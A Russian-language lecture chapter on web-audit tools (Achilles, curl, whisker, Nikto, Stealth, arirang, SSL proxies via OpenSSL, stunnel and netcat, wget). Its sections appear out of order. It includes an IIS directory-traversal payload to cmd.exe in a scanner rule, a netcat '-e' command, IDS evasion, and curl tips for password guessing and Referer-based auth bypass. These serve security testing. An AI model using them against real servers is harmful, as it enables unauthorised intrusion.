Инструментальные средства обеспечения безопасности

         

Achilles


В соответствии с названием, Achilles помогает протестировать Web-приложение, работая в режиме прокси с кнопкой "пауза". Обычный прокси располагается между Web-броузером и Web-сервером, незаметно перенаправляя запросы и ответы между ними. Achilles работает точно так же, но он добавляет возможность, которая позволяет вам модифицировать содержимое налету. Achilles позволяет манипулировать значениями cookie, запросами POST, скрытыми полями и всеми другими аспектами HTTP-транзакции - и все это поверх SSL.



Curl


В то время как Netcat называют суперутилитой для сети, curl можно назвать суперутилитой для протоколов. Curl - это утилита командной строки, которая может поддерживать DICT, File, FTP, Gopher, HTTP, HTTPS, LDAP и Telnet. Она также поддерживает HTTP-прокси. Поскольку эта лекции сосредоточена на средствах Web-аудита, мы ограничимся протоколами HTTP и HTTPS.



Многоцелевые средства


Описываемые ниже инструментальные средства - это рабочие лошадки, используемые для осуществления соединений поверх HTTP или HTTPS. Соответственно, они не производят поиск уязвимостей или тестирование безопасности систем, но их функциональность может послужить основой для расширения возможностей сканеров уязвимости, обеспечивая поддержку SSL-трафика, или шифрование с целью защиты от прослушивания.



Nikto


Прежде чем развиваться в качестве самостоятельной утилиты, whisker был создан, чтобы пополнить Perl-библиотеку средств сканирования. Nikto основывается на новом поколении LibWhisker-библиотеки. С самого начала программа поддерживает сканирование портов с поддержкой SSL и прокси.



OpenSSL


Любая Web-атака, которая осуществляется поверх 80 порта, может также быть произведена поверх порта 443, используемого по умолчанию протоколом SSL. Большинство утилит, программ взлома и скриптов используют 80 порт, чтобы уклониться от потерь, связанных с программами шифрования и поддержки сертификатов. OpenSSL-прокси позволяет перенаправить обычный HTTP-трафик через SSL-соединение с исследуемым сервером.

Реализация

Модуль OpenSSL обладает наиболее подходящим набором функциональностей, большую часть которых мы не будем использовать. Если вы наберете в командной строке openssl без параметров, вы сможете попасть в псевдоинтерпретатор OpenSSL.

$ openssl OpenSSL

Очевидно, что OpenSSL имеет больше функций, чем нам необходимо для настройки прокси. Нас интересует SSL/TLS-клиент и параметр s_client. Вы не сможете получить дополнительную информацию, набрав s_client -h, но ее можно почерпнуть из страниц описания (man pages). Теперь мы можем соединиться напрямую с SSL-сервером при помощи команды s_client. Параметр -quiet уменьшит объем информации об ошибках.

$ openssl s_client -quiet -connect www.victim.com:443 depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com verify error:num=18:self-signed certificate verify return:1 depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com verify error:num=18:self-signed certificate verify return:1 HEAD / HTTP/1.0 Date: Tue, 26 Feb 2002 05:44:54 GMT Server: Apache/1.3.19 (Unix) Content-Length: 2187 Connection: close Content-Type: text/html



Когда мы вводим строку HEAD/HTTP/1.0, сервер возвращает информацию из заголовка. Это означает, что SSL-соединение установлено успешно. Строки, предшествующие команде HEAD показывают сертификационную информацию и статус. Она включает в себя характерное имя (DN для энтузиастов LDP-протокола) и адрес электронной почты персоны, создавшей сертификат. OpenSSL также показывает, что сертификат является самоподписанным - т.е. он не подтверждается и не генерируется третьей стороной, уполномоченной поддерживать службу сертификации.
В большинстве случаев мы игнорируем эти ошибки, поскольку можем установить SSL-соединение.

Примечание. В реальной электронной торговле проверка сертификата сервера необычайно важна. Сертификационный домен должен всегда входить в домен, URL которого он защищает, он не может быть в списке отмены и не может быть ограничен по времени действия.

Теперь мы можем сохранять ввод, перенаправив запрос HEAD на вход команде s_client.

$ echo -e "HEAD / HTTP/1.0\n\n" | \ > openssl s_client -quiet -connect www.victim.com:443

Теперь мы находимся в шаге от того, чтобы сделать запрос к HTTPS-серверу, но это не решает проблемы использования утилиты вроде arirang для сканирования SSL-сервера. Чтобы сделать это, необходимо запустить команду s_client с прокси. В предыдущем примере s_client соединялся с SSL-сервером, посылал HTTP-запрос, принимал HTTP-ответ и затем соединение закрывалось. Arirang или Stealth могут осуществлять более 6000 запросов. Очевидно, что нам требуется несколько более существенная автоматизация.

Программа inetd для Unix (и Cygwin) решает эту проблему. Демон inetd выполняется в системе и прослушивает заданные TCP- и UDP-порты. Как только другой хост посылает запрос на соединение на один из прослушиваемых портов, inetd выполняет быструю проверку и затем пересылает правильный запрос на соединение другому демону. Например, большинство FTP-серверов для Unix работает с использованием демона inetd. Файл /etc/inetd.conf содержит строки, определяющие для inetd, как обрабатывать FTP-запрос.

# /etc/inetd.conf example content ftp stream tcp nowait root /usr/libexec/ftpd ftp -US

Первая колонка, в данном случае ftp, представляет номер порта, который прослушивает служба. Значение ftp можно заменить на 21 - порт FTP по умолчанию, и все останется по-прежнему. Как это может помочь нам настроить SSL-прокси? Мы всего лишь создадим новый сервис, который будет прослушивать TCP-порт по нашему выбору. Затем, вместо вызова FTP-демона, мы вызовем команду s_client.

# /etc/inetd.conf SSL proxy example content 80 stream tcp nowait root /home/istari/ssl_proxy.sh



Файл /home/istari/ssl_proxy.sh содержит две строки.

#!/bin/sh openssl s_client -quiet -connect www.victim.com:443 2 /dev/null Примечание. Установка SSL-прокси на сервере, обращенном в интернет, может иметь неожиданные негативные последствия. Всегда ограничивайте доступ к SSL-прокси с использованием файлов /etc/hosts.allow и /etc/hosts.deny, или их эквивалентов для Unix.

После установки соединения с локальным хостом (localhost) по 80 порту, соединение перенаправляется поверх SSL на адрес www.victim.com по порту 443. Любое соединение, которое вы установите с выбранным сервером, будет осуществляться с локальным хостом (или IP-адресом прокси-сервера). Таким образом, выполняются все правила сканирования arirang для хоста https://www.victim.com.

$ arirang -G -h localhost -p80 -r unix.uxe

Принципиальное ограничение этого приема состоит в том, что сканирование всегда осуществляется для одного хоста. SSL-прокси - не настоящий прокси, в том смысле, что он осуществляет трансляцию протокола от произвольного хоста к произвольному хосту (конфигурация "многие ко многим"). Вместо этого он передает запрос от любого хоста к заданному хосту (конфигурация "многие к одному"). Следовательно, вы не можете сканировать интервал IP-адресов через SSL-прокси, но, по крайней мере, вы можете тестировать сервер, у которого запущена только HTTP-служба. Конечно, если вы используете whisker, то можно не беспокоиться.

Пример из жизни. Альтернатива Inetd

Inetd не единственный метод запуска службы. У него есть преимущество, т.к. он способен применять TCPWrappers, метод, позволяющий или запрещающий доступ к порту на основе IP-адреса. Не все операционные системы используют inetd, а операционная система Windows определенно не имеет данной функции.

Cygwin. Если ваши друзья по-прежнему дразнят вас, потому что вы пользуетесь какой-либо версией Windows, не мучайтесь. В среде Cygwin есть демон inetd и программа OpenSSL, которая позволяет запускать SSL proxy. Cygwin жалуется на использование 80 в качестве имени службы.


Файл /etc/inetd.conf должен содержать следующее.

# /etc/inetd. conf Cygwin SSL proxy example www stream tcp nowait root /home/ssl_proxy.sh ssl_proxy.sh

Затем вы можете запустить inetd в командной строке. Мы обычно запускаем его с -d, отладочной опцией, чтобы все работало корректно.

$ /usr/sbin/inetd.exe -d /etc/inetd.conf

Теперь proxy ожидает на порте 80 и направляет соединения к цели, обозначенной в сценарии ssl_proxy.sh.

Инсталляция inetd в качестве родной для Windows службы требует больше манипуляций. Есть два метода создания этой службы. Предпосылкой для каждого является переменная среды Windows PATH, содержащая C:\cygwin\bin или любое место, где находится директория cygwin\bin. Inetd может установить себя как службу.

$ /usr/sbin/inetd.exe -install-as-service /etc/inetd.conf

Чтобы удалить его, используйте опцию -remove-as-service.

Встроенные утилиты Cygwin также инсталлируют и запускают службу inetd.

cygrunsrv -I inetd -d "CYGWIN inetd" -p /usr/sbin/inetd -a -d -e CYGWIN=ntsec

cygrunsrv -S inetd

Опция -R удаляет службу inetd.

Xinetd. Xinetd добавляет еще немного к демону inetd. Он улучшает регистрацию, управление соединениями и администрирование. В системах, которые поддерживают xinetd, дефиниции служб обычно находятся в директории /etc/xinetd.d. Создайте службу SSL proxy, используя синтаксис xinetd.

#default: off #description: OpenSSL s_client proxy to www.victim.com service 80 { socket_type = stream wait = no protocol = tcp user = root server = /root/ssl_proxy.sh only_from = 127.0.0.1 disable = no }

Как всегда, опасайтесь запускать службы с root-привилегиями и службы, к которым должны иметь доступ только вы.

Netcat (sort of). Для одноразовых соединений, таких как запуск компилированного взлома, который обычно работает на порте 80, Netcat экономит день. Возможно, вы не сможете запустить сканирование whisker корректно, но одноразовое соединение будет успешно достигнуто. У Whisker есть преимущество работы с системами Unix и Windows, обеспеченное, если установлен комплект OpenSSL.


Netcat pseudo-proxy подходит для одной команды:

$ nc -w -L -p 80 -e "openssl s_client -quiet \ -connect www.victim.com:443"

Опция -L ("слушай внимательнее") дает инструкцию Netcat продолжать прослушивание, даже если клиент закрыл соединение. Опция -e содержит команду s_client для соединения с целью. Затем присоединяйтесь к порту 80 ожидающего хоста, чтобы получить доступ к SSL-серверу вашей цели (например, www.victim.com).

Для этого вам придется использовать оригинальную версию Netcat. Например, на OpenBSD опция -L заменена на -k, а опция -e не имеет смысла, поскольку Unix поддерживает конвейеры (|).

Команда OpenBSD выглядит следующим образом.

$ nc -w -k -l 80 | openssl s_client -quiet \ -connect www.victim.com:443

Конечно, не имеет смысла добавлять дополнительный шаг использования Netcat. У вас должно получиться провести отчет о взломе непосредственно в команду s_client, пропустив шаг. Затем снова могут быть сценарии, в которых строгий сетевой контроль или спутанная среда операционных систем действительно делает это полезным.


Пресечение уклонения Pitfalls to Avoid


Как уже упоминалось, возможности Stealth по автоматическому сканированию набора Web-серверов ограничены. Stealth время от времени генерирует ошибки DNS, которые обычно случаются в процессе сканирования сервера с виртуальными хостами или когда сканируется сервер с несколькими IP-адресами (как в случае со многими большими, сильно загруженными сайтами). Ошибка DNS безобидна, но ее появление требует, чтобы вы закрыли окно сообщения, которое генерирует Stealth.

Большая часть тестов Stealth опирается на возвращаемые сервером HTTP-коды. Это хорошо, когда вы тестируете имеющиеся скрипты на наличие прорех, но это вовсе не означает, что скрипт уязвим. Большинство прорех viewcode.asp в IIS-файлах зафиксировано последующими заплатками; но Stealth только определяет их наличие и ошибочно принимает положительное решение. Даже если Stealth и может распознать специфические строки в результатах работы теста, немногие тесты могут это сделать. Использование HTTP-кодов возврата не означает, что Stealth может пропустить прореху, но это означает, что он может породить большое количество ошибочных положительных решений о наличии таких прорех.

Опирающаяся на оконный интерфейс утилита не слишком хорошо взаимодействует с другими. Сложно создать скрипт, который генерирует список Web-серверов или систем с открытым 80 портом, передать этот список на вход Stealth и затем разобрать выходной файл. Средства, выполняемые из командной строки, с другой стороны, могут быть встроены в конструкции программных циклов, и программными конвейерами передавать данные средствам разбора результатов, которые вы предпочитаете. Помните, как просто вы манипулировали выводом от whisker с помощью утилит tee и grep?

Stealth не поддерживает SSL-соединение. Это просто преодолеть. В разделе "Многоцелевые средства" мы увидим, как SSL-прокси легко решает эту проблему.



Проверка приложений


До сих пор мы знакомились с программами, которые исследовали Web-сервер. Делая это, мы пропустили прорехи, которые могут иметься в Web-приложениях. Этот класс уязвимостей возникает из-за программирования без учета безопасности и ошибок в настройках взаимодействия между Web-серверами и базами данных. Мы не можем разъяснить природу нарушений безопасности Web-приложений, методологию и приемы поиска уязвимостей в рамках отдельной лекции. Можно лишь показать средства, необходимые для проверки Web-приложений. Немногие из этих программ распространены среди сообщества специалистов по безопасности, они скорее заслуживают быть частью средств отладки Web-приложений.



Реализация


В списке уязвимостей программы whisker, возможно, что-то устарело, но он также включает проверки для директорий, которые никогда не исчезнут. Проверки /backup/ или /log/ директорий и текстовых файлов sam.txt никогда не устареют. Чтобы запустить whisker для одного хоста или IP-адреса, воспользуйтесь параметром -h. Параметр -H (обратите внимание на регистр) дает возможность задать файл, который содержит список IP-адресов или имен хостов. Также неплохая идея всегда использовать параметр -w для записи результатов каждой проверки, выполненной сканером. Параметр -W выводит все в HTML-формате. Это может выглядеть как ненужные бантики, но в то же время удобно, и демонстрация возможностей заставит притихнуть противников. Базовый вид командной строки whisker выглядит примерно так.

$ whisker.pl -h 192.168.42.27 -w - whisker / v1.4.0+SSL / rain forest puppy / www.wiretrip.net - -( Bonus: Parallel support ) - Loaded script database of 2045 lines = - = - = - = - = - = = Host: 192.168.42.27 - Cookie: PREF=ID=28bd8b28723a3f00:TM=1014183574:LM=1014183574:S=iaEPbCBRdvA = Server: IIS/5.0 + 200 OK: GET /robots.txt

Мы пропустили параметр -W, чтобы сделать вывод лучше читаемым на бумаге. После запуска whisker начинает выводить информацию на экран (stdout в Unix-терминах). Не потеряйте результаты сканирования; вы можете сохранить их в файл. Параметр командной строки -l с именем файла после него, но мы редко это используем. Вместо этого воспользуйтесь преимуществами командной строки Unix.

$ whisker.pl -h 192.168.42.27 -w -W | tee whisker80_192.168.42.27.html.raw Совет. Команда Unix tee позволяет перенаправить вывод одновременно в файл и на экран. Это позволяет наблюдать за работой программы в режиме реального времени и сохранить информацию. Это понятнее, чем запуск процесса в фоновом режиме, и понятнее, чем использование команды tail -f.

Понятные имена файлов позволят быстро просмотреть директории и визуально определить положение специфических файлов. Число 80 означает номер сканируемого порта - в данном случае, это значение по умолчанию.

Основанный на Perl, nikto может выполняться под Unix, Windows и Mac OSX. Программа использует стандартные Perl-библиотеки, входящие в поставку. Вы можете загрузить утилиту nikto по адресу http://www.securitysearch.net/tools.cfm. Для работы также требуется LibWhisker (LW.pm).

LibWhisker. Полнофункциональная копия LibWhisker поставляется вместе с архивом nikto. Вы также можете загрузить полный Perl-модуль по адресу http://www.wiretrip.net/rfp/2/index.asp. Инсталляция очень проста. После разархивирования войдите в директории и соберите библиотеку. Как только сборка закончится, установите LW.pm в вашу Perl-директорию. Выполните следующую последовательность команд.

$ cd libwhisker-1.3 $ perl Makefile.pl lib $ perl Makefile.pl install

LibWhisker может показаться немного избыточным, поскольку он включает в себя функциональность нескольких, уже существующих Perl-модулей, таких как LWP, Base64 и HTML::Parser. Преимущества LibWhisker в том, что это "тощая" (минимальный размер файла по сравнению с модулями, функциональность которых он заменяет), простая (один модуль), специализированная (поддерживает только HTTP- и HTTPS-запросы) и живучая (обеспечивает единый интерфейс для поддержки запросов и приема ответов) утилита. Кроме того, она понятнее, чем оригинальная программа whisker!

Сканирование. Основные параметры командной строки nikto отличаются от команд whisker, поэтому вам придется осваивать новые параметры. Сравните командную строку whisker с аналогичной командной строкой nikto.

$ whisker.pl -h 192.168.42.27 -w -W | \ > tee whisker80_192.168.42.27.html.raw $ nikto.pl -host 192.168.42.27 -verbose -web -output \ > nikto80_192.168.42.27.html.raw

Выходная информация Nikto содержит указания на то, почему поиск может угрожать безопасности.

Target IP: 192.168.42.27 Target Hostname: www.victim.com Target Port: 80 ---------------------------------------------------- o Scan is dependent on "Server" string which can be faked, use -g to override o Server: WebSTAR/4.2 (Unix) mod_ssl/2.8.6 OpenSSL/0.9.6c o Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE o Server allows PUT method, may be able to store files.


На рис. 8.1 приведен вид интерфейса для сканирования одного IP-адреса. По умолчанию Stealth использует "нормальное" правило сканирования, которое содержит около 6500 тестов. Эта страница открывается с помощью кнопки Scanner в окне приложения Stealth.

Примечание. Stealth также располагает параметрами для изменения номера порта (по умолчанию 80), при этом SSL-соединение не поддерживается. Задать номер порта 443 недостаточно.

Stealth может сканировать несколько Web-серверов. Тем не менее, как показано на рис. 8.2, для этого должен быть задан список последовательных IP-адресов. Это существенно замедляет сканирование, поскольку программа сначала должна определить Web-сервер, а затем осуществлять его сканирование. Если серверы распределены по сети, то это еще сильнее замедляет процесс.


Рис. 8.1.  Сканер Stealth по умолчанию против цели


Рис. 8.2.  Stealth сканирует список IP-адресов

Еще немного о сканировании нескольких Web-серверов: программа постоянно фиксирует ошибки, выдает сообщения об ошибках, требующих, чтобы их закрывали вручную. Короче, Stealth - не лучшее средство для сканирования многих серверов одновременно.

Кнопка IDS Test работает аналогично технике обхода IDS у whisker. Выберите, какую политику вы предпочитаете использовать, а затем отметьте параметр CGI Setup | Use IDS Evasion. На рис. 8.3 показано, как включить обход IDS.

Как только Stealth завершит сканирование, он выдаст запрос на сохранение результатов. Результаты сканирования представляют собой HTML-файл, в котором перечислены все возможные уязвимости, которые были найдены. Stealth - быстрое и простое средство, которое позволяет выполнить 6500 тестов для Web-сервера одновременно.


Рис. 8.3.  Обход IDS




Для соединения с Web-сайтом задайте в командной строке URL

$ curl https://www.victim.com

Автоматизированный скрипт, который просматривает Web-сайт или осуществляет подбор паролей, в лучшем виде демонстрирует мощь программы curl. В таблице 8.4 представлены некоторые наиболее часто употребляемые параметры программы.

Таблица 8.4. Наиболее употребляемые параметры Curl

ОпцияОписание
-H/--headerУстанавливает заголовок со стороны клиента. Используйте заголовок HTTP, чтобы имитировать несколько типов соединений.

User-Agent: Mozilla/4.0. Имитирует конкретный броузер. Referer: http://localhost/admin. Обходит слабую авторизацию, которая проверяет страницу ссылок. Basic Auth: xxxxx. Задает имя пользователя и пароль. Host: localhost. Специфицирует виртуальные хосты

-b/--cookie -c/--cookie-jar-b использует файл, который содержит cookies, чтобы послать их на сервер. Например, -b cookie.txt включает содержимое cookie.txt во все запросы HTTP. Cookies также могут быть специфицированы в командной строке в форме -b ASPSESSIONID=INEIGNJCNDEECMNPCPOEEMNC. -c использует файл, который хранит cookies так, как они заданы сервером. Например, -c cookies.txt держит каждый cookie с сервера. Cookies важны для обхождения сессий формальной идентификации и обмана.
-d/--dataПредоставляет данные по запросу POST. Это включает данные формы или любые другие данные, генерированные Web-приложением. Например, чтобы задать поле формы для страницы логина, используйте -d login=arbogoth&passwd=p4ssw0rd. Эта опция полезна для написания сценариев подбора пароля. Ее реальное преимущество в том, что запросы делаются с POST, что значительно сложнее обмануть с помощью средства типа Netcat.
-G/--getИзменяет метод POST так, что он использует GET. Применяется только, когда вы специфицируете опцию -d.
-u/--user -U/--proxy-userЗадает имя пользователя и пароль, использованные для базовой идентификации или proxy. Чтобы получить доступ к сайту с базовой идентификацией, используйте -u user:password. Чтобы получить доступ к защищенному паролем proxy, используйте U user: password. Это не имеет смысла, если опция -X не задана.
--urlУстанавливает URL на выборку. Это не обязательный параметр, но вносит ясность, когда используется много опций командной строки. Например, -url https://www.victim .com/admin/menu.php?menu=adduser. Curl дает быструю оптимизацию, когда множественные URL задаются в командной строке, потому что он пытается установить устойчивые соединения. Это означает, что все запросы будут производиться поверх первоначального соединения, вместо установки нового соединения для каждого запроса.
-x/--proxyЗадает HTTP proxy. Например, -x http://intraweb:80/.
-K/--configЗадает файл конфигурации, который включает последовательные опции командной строки. Например, -K www.victim.com.curl.
<


SSL-взаимодействие основывается на сертификатах. Первое, что вам нужно, это правильный PEM-файл, который содержит ключи шифрования для использования в процессе взаимодействия. Stunnel поставляется с файлом по умолчанию, который называется stunnel.pem, но вы можете создать и свой собственный с использованием команды openssl.

$ openssl req -new -out custom.pem -keyout custom.pem -nodes -x509 \ > -days 365 ...follow prompts... $ openssl dhparam 512 >> custom.pem

Теперь файл custom.pem готов к использованию. Stunnel ищет по умолчанию файл stunnel.pem, или вы можете использовать свой собственный с помощью параметра -p.

Замечания о компиляции под Cygwin. Вам может понадобиться отредактировать файл stunnel.c для компиляции stunnel под Cygwin. Закомментируйте следующие строки, которые располагаются в районе 391 строки.

/* if(setgroups(1, gr_list)) { sockerror("setgroups"); exit(1); } */

Смысл в том, что вы не сможете использовать параметр -g для определения альтернативной группы привилегий, с которыми выполняется stunnel, но вам не понравится ситуация, в которой это могло бы понадобиться.

Обезьяна в центре поля. Как быть, если вам необходимо просматривать данные, передаваемые поверх SSL-соединения? Вам может понадобиться проверять данные, передаваемые между клиентом, основанным на Web-приложении, и сервером, но клиент передает HTTPS, и сервер принимает только HTTPS. В таком случае, вам понадобится заморозить stunnel между клиентом и сервером, переведя соединение в HTTP, чтобы иметь возможность его читать, а затем вернуть трафик обратно в HTTPS, чтобы сервер мог его получить. Для этого понадобится две команды stunnel.

Запустите stunnel в обычном режиме демона (-d). В таком режиме stunnel принимает SSL-трафик и выдает простой текст. Параметр -f заставляет stunnel оставаться в диалоговом режиме. Обычно это используется для просмотра информации о соединении и чтобы убедиться, что программа работает. Stunnel - не программа с конечной точкой. Другими словами, вы должны задать порт, который будет прослушиваться (-d <port>), а также хост и порт, на которые будет перенаправляться трафик (-r <host:port>).


Поскольку это работа прокси, Achilles необходимо сначала настроить на прослушивание порта и перевести в режим "intercept". На рис. 8.7 показаны основные моменты конфигурации для запуска Achilles в режиме прокси. Щелкнув на кнопке "пуск" (треугольник), можно запустить прокси, а щелкнув на кнопке "стоп" (квадратик) остановить его - в точности, как при управлении звукозаписывающим устройством.


Рис. 8.7.  Основные настройки прокси для Achilles

Хорошей мыслью будет оставить задействованным параметр Ignore .jpg/.gif. Изменение файлов изображений редко используется для обхода системы безопасности Web-приложения, а число запросов от обычной Web-страницы раздражающе велико.

Затем настройте свой Web-броузер для работы через IP-адрес прокси (если это тот же компьютер 127.0.0.1) и соответствующий порт (5000 по умолчанию), который прослушивает Achilles. Обычно для этого Achilles просто запускается на вашей локальной машине. Любой Web-броузер, который поддерживает HTTP-прокси, от Lynx до Galeon, могут использовать Achilles. Ограничения для Windows-платформы состоит в том, что Achilles поставляется в виде исполняемого модуля Win32.

В режиме перехвата вы можете просматривать Web-сайт или несколько Web-сайтов, ничего не замечая. Параметр Log To File позволяет сохранять результаты сессии в файл. Это подходит для исследования Web-приложения. Журнал содержит каждую ссылку, которую вы посетили, включая вспомогательные файлы, такие как JavaScript, (*.js) и другие включаемые файлы (*.inc), которые в обычном режиме не видны в URL. Другое преимущество состоит в том, что у вас фактически есть копия HTML-страниц Web-сайта. Эти тексты могут содержать скрытые поля форм, значения cookie, переменные управления сессией и другую информацию о приложении. Приемы анализа Web-приложений лежат несколько в стороне от темы этой лекции, но для выполнения такой работы совершенно необходимо иметь Achilles.

В режиме активного перехвата вы можете видеть запросы, порождаемые броузером (Intercept Client Data), и ответы, посылаемые сервером (Intercept Server Data (text)).


На рис. 8.8 представлен внешний вид интерфейса WebSleuth, на котором доступно несколько параметров для настройки. Рельефные кнопки Go, Back, Stop, Fwrd и Edit Source вызываются щелчком левой кнопкой мыши. Правая кнопка мыши отвечает за появление меню для каждой из плоских кнопок Properties, Toolbox, Plugins и Favorites.


увеличить изображение
Рис. 8.8.  Основные настройки прокси для Achilles

У кнопки меню Toolbox те же самые функции. Особой "фишкой" является функция HTML Transformations. Она удаляет скрипты, которые отключают многие программы проверки ввода, отображает скрытые поля, которые контролируют переменные сессии, сервера и клиента. Функция Generate Report создает великолепный список текущих переменных cookie, ссылок, строк запросов, форм, ссылок на скрипты, комментариев и META-тегов.

Кнопка меню Properties отображает информацию о текущей странице. Обычно эта информация используется для просмотра установленных переменных cookie, инспектирования строк запросов или ревизии доступных на странице ссылок.

Финальные замечания. Функции Analyze, размещенные на закладке Options:, не работают поверх SSL. Эти функции открывают окно, которое содержит HTTP-запросы и их аргументы. В этот момент вы можете изменить данные для изменения запроса POST. К сожалению, это не работает!




Поскольку основной функцией wget является загрузка содержимого Web-сайта, то использовать программу просто. Для рекурсивного просмотра сайта используйте параметр -r.

$ wget -r www.victim.com ...(continues for entire site)...

Параметр -r или -recursive указывает wget на необходимость просматривать каждую ссылку на странице. Ниже мы создаем директорию www.victim.com и размещаем в этой директории все HTML-файлы и директории, которые wget обнаружит на этом сайте. Основное преимущество wget в том, что он просматривает все возможные ссылки. Таким образом, программа загружает вывод всех аргументов, которые приложение пересылает на страницу. Например, файл viewer.asp может быть загружен четырежды.

viewer.asp@ID=555viewer.asp@ID=7viewer.asp@ID=42viewer.asp@ID=23

Символ @ обозначает символ ? в реальном URL. ID - первый аргумент (параметр), передаваемый в файл viewer.asp. Некоторые сайты могут потребовать более сложных возможностей, таких как поддержка прокси и HTTP Basic Authentication. Сайты, защищенные с помощью Basic Authentication, можно просматривать следующим способом.

[root@meddle]# wget -r --http-user:dwayne --http-pass:woodelf \ > https://www.victim.com/secure/

...continues for entire site...

Сайты, которые базируются на использовании cookies для поддержки сессий или аутентификации, также можно просматривать с использованием wget. Создайте cookie-файл, который содержит набор достоверных переменных о пользовательской сессии. Для этого необходимо иметь возможность получить доступ к сайту, чтобы собрать значения переменных. Затем используйте параметр -load-cookies, чтобы указать wget на необходимость представиться пользователем, информация о котором хранится в переменных cookie.

$ wget --load-cookies=cookies.txt \ > -r https://www.victim.com/secure/menu.asp

Wget может поддерживать сессии и сохранять значения cookie-переменных с помощью соответственно названного параметра -cookies. Это параметр логического типа, и вы можете либо выключить его (по умолчанию) или включить.

$ wget --load-cookies=cookies.txt -cookies=on \ > -r https://www.victim.com/secure/menu.asp

Параметры --http-user и --http-passwd позволяют wget получить доступ к Web-приложениям, которые применяют HTTP Basic Authentication. Установите значения в командной строке и следите за работой wget.

$ wget --http-user=guest --http-passwd=no1knows \ > -r https://www.victim.com/maillist/index.html

<

Реализация: компиляция исходных текстов


В отличие от whisker, который написан на Perl и не требует никаких изменений при запуске perl-интерпретатором, arirang написан на C и должен быть скомпилирован до выполнения в системе. В среде BSD arirang распространяется в коллекции портов. Коллекция портов - нечто большее, чем репозиторий архивных файлов. Она включает набор специфических для FreeBSD (или других BSD) заплаток, инструкции по компиляции и сборке, тестированию и инсталляции программ (makefiles) и список текущих мест расположения, откуда можно загрузить обновленные версии программ. Дополнительную информацию вы можете получить по адресу http://wwwfreebsd.org/ports/index.html.

Процесс инсталляции похож на многие другие программы из коллекции портов. Прежде всего, убедитесь, что ваша коллекция портов актуальна (внесены последние изменения), а затем соберите исполняемые коды arirang.

$ cd /usr/ports/security/arirang $ cvs up -Pad $ make $ make install

Наберите arirang в командной строке, и справка по использованию программы сможет поприветствовать вас.

Запуск Arirang. Запуск Arirang следует принципу простоты. Программа разработана как быстрый, качественно работающий сканер уязвимостей. Поддержка прокси, SSL и средств обхода IDL были принесены в жертву скорости и аккуратности работы. Запустив arirang с набором правил сканирования по умолчанию, можно увидеть вывод, похожий на информацию, выдаваемую whisker.

$ arirang -G -h www.victim.com

Параметр -G указывает на необходимость использования информации из заголовка тестируемого Web-сервера для определения типа сервера и используемой операционной системы. Вместо этого вы можете задать параметр -o, чтобы запросить netcraft-тип сервера и его версию. По умолчанию arirang, сканирует 80 порт, но воспользовавшись параметром -p, вы можете сканировать другой порт. Помните, по аналогии со Stealth, если вы используете 443 порт, arirang может это делать, но не поддерживает SSL-соединение.

Примечание. Netcraft, по адресу http://www.netcraft.com, собирает информацию о Web-серверах и сортирует эти данные в соответствии с базовой операционной системой и ПО Web-сервера.
Эта база данных, возможно, достаточно полная, но он также опирается на информацию, полученную из заголовка, передаваемого тестируемым сервером, и результаты finger-тестирования с использованием сканеров типа nmap.

Вы также можете запустить arirang со списком Web-серверов, используя параметр f.

$ arirang -G -f hosts.txt

Arirang также предоставляет возможность сканировать интервал IP-адресов с помощью параметра -s (start) и -e (end).

$ arirang -G -s 192.168.17.2 -e 192.168.17.245

Параметр -P (верхний регистр) позволяет ускорить работу программы, особенно в случае использования параметра -f или сканирования интервала IP-адресов. Параметр -P управляет количеством одновременно выполняемых процессов. Сканирование уязвимостей не слишком интенсивный с точки зрения загрузки процессора процесс, но он опирается на установление сетевых соединений. Запуск нескольких процессов ведет к уменьшению общего времени сканирования.

$ arirang -G -f hosts.txt -P 20


Реализация: создание новых правил


Описываемый сканер уязвимостей - один из тех, которые можно легко и быстро обновлять вручную. Arirang содержит около 18 баз сканирования, хранимых в файлах с расширением *.uxe. По умолчанию положение этих баз данных определяется в момент компиляции программы. В OpenBSD, *.uxe файлы размещаются в директории /usr/local/share/arirang.

Отдельные правила определяются параметром -r. Ниже показано, как проверить вашу сеть на наличие червя Code Red или его потенциальных целей.

$ arirang -G -s 192.168.0.1 -e 192.168.3.255 \ > -P 20 -r /usr/local/share/arirang/codered.uxe

На первый взгляд, правила arirang могут показаться сложными для понимания, но все они следуют простой схеме. Рассмотрим несколько правил для примера.

200 OK- HEAD :/index.html.bak^Backup index.html file;Remove backup and test files from the web document root; 403- GET :/admin/^/admin/ directory;; 200 OK- HEAD :/include/^/include/ directory;Disable directory listings; 200 OK- GET :/msadc/..%255c..%255c..%255c../winnt/system32/cmd.exe? /c+dir^IIS Superfluous Decode;MS01-026;

Правила разделяются на семь полей, при этом первое поле не обязательно. В таблице 8.3 описываются составные части правила для arirang.

Таблица 8.3. "Правила сканирования" arirang

ПолеОписание
Receive code Код получения [OOB | PEEK | ALL](Необязательный.) Arirang может обработать сообщение Out-Of-Band (OOB) или Peek (залезть) в его содержимое. Это редко используется, но включено, чтобы средство поддерживало любой тип проверки уязвимости. ALL используется для ожидания ответа с сервера. Несколько проверок вынуждают сервер зависать или не возвращать никаких данных, включая заголовки.
Response code Код ответаОбычно это числовой ответ с Web-сервера. 404 означает - не найдено, а 200 означает ОК, что подтверждает существование файла. Заметьте, что arirang требует от вас представлять 200 как 200 ОК. Другие коды ответов могут быть числовыми, т.е. 403. Это не обязательно должно быть кодом ответа HTTP, но может быть строкой длиной до 50 байтов (символов), чтобы искать в ней ответ HTML.
-->Разделитель между кодом ответа и методом запроса.
HTTP request method Метод запроса HTTPЛюбой метод запроса HTTP, обозначенный как HTTP/1.0 или HTTP/1.1 RFC. GET, HEAD, и POST используются большую часть времени, но arirang поддерживает такую технику как TRACE и OPTIONS. Метод OPTIONS показывает, какие возможности WebDAV поддерживает сервер.
:<URI>Файл для проверки. Arirang также поддерживает строку запроса URI, т.е. login.asp? user=test>pass=test. Заставьте правило обратиться к определенному порту с помощью синтаксиса ::<port><URL>. Например, ::8080/ admin/docs/default.cfg запускает на порте 8080. Все другие опции остаются такими же.
^<explanation>Короткое описание уязвимости.
;<information;>Дальнейшее объяснение уязвимости, ссылка на совет или информацию по отладке.

Поясняющие и информационные поля позволяют вам осуществлять вывод в сокращенной или расширенной форме.



Сканеры уязвимости Vulnerability Scanners


